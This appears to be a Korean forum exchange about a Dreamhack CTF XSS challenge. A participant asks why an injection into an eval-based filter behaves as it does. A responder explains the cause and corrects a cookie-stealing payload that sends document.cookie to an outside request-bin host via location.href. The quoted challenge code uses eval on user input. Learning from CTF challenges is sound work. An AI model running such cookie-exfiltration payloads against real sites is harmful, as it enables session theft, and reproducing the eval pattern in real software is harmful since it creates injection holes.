const recommend = (age) => {
if (age.match(/[a-zA-Z\\&#;%*$=]/g)) {
alert('nope! ⊂(・﹏・⊂)');
window.history.back()
}
eval(`msg.innerHTML='This is recommended album for ${age}-year-old.'`);
이 부분에서 age에 '+alert(1)+' 을 삽입하면 JSFuck을 사용하지 않아도
nope! ⊂(・﹏・⊂) 후에 alert(1)이 실행되더라구요. (alert가 두 개 뜸)
그래서 JSFuck 사용하지 않고
age에 쿠키 탈취하는 구문을 넣어서 id 받고 /saved에서 id 파라미터에 넣어주면 동작하는데,
/report에서 127.0.0.1:3000/saved?id={받은 id} 요청하면 이건 또 안되는데 왤까요?
근데 또 /saved에서 JSFuck 인코딩 후 받은 id를 report하면 이건 또 동작해요
왤까용
++
궁금한 거 하나 더 있는데
eval(msg.innerHTML='This is recommended album for ' + location.href="https://kckustq.request.dreamhack.games?c="+ document.cookie + '-year-old.'
);
이건 왜 동작 안하는지 아시나요
이 부분에서 age에 '+alert(1)+' 을 삽입하면 JSFuck을 사용하지 않아도
nope! ⊂(・﹏・⊂) 후에 alert(1)이 실행되더라구요. (alert가 두 개 뜸)
=> window.history.back()
는 코드 블록이 모두 실행된 후에 반영되므로, alert(1)
이 먼저 실행됩니다.
그래서 JSFuck 사용하지 않고
age에 쿠키 탈취하는 구문을 넣어서 id 받고 /saved에서 id 파라미터에 넣어주면 동작하는데,
/report에서 127.0.0.1:3000/saved?id={받은 id} 요청하면 이건 또 안되는데 왤까요?
근데 또 /saved에서 JSFuck 인코딩 후 받은 id를 report하면 이건 또 동작해요
=> 정확히 어떤 구문을 넣었고 어떤 게 문제인 상황인지 모르겠습니다.
궁금한 거 하나 더 있는데
eval(msg.innerHTML='This is recommended album for ' + location.href="https://kckustq.request.dreamhack.games?c="+ document.cookie + '-year-old.');
이건 왜 동작 안하는지 아시나요
=> 'This is recommended album for ' + location.href="https://kckustq.request.dreamhack.games?c="+ document.cookie + '-year-old.'
앞부분이 연산식으로 해석되어서 에러가 발생합니다.(a + b = c + d
)
소괄호로 묶어주시면 해결됩니다.
msg.innerHTML= 'This is recommended album for ' +(location.href="https://kckustq.request.dreamhack.games?c="+ document.cookie) + '
-year-old.'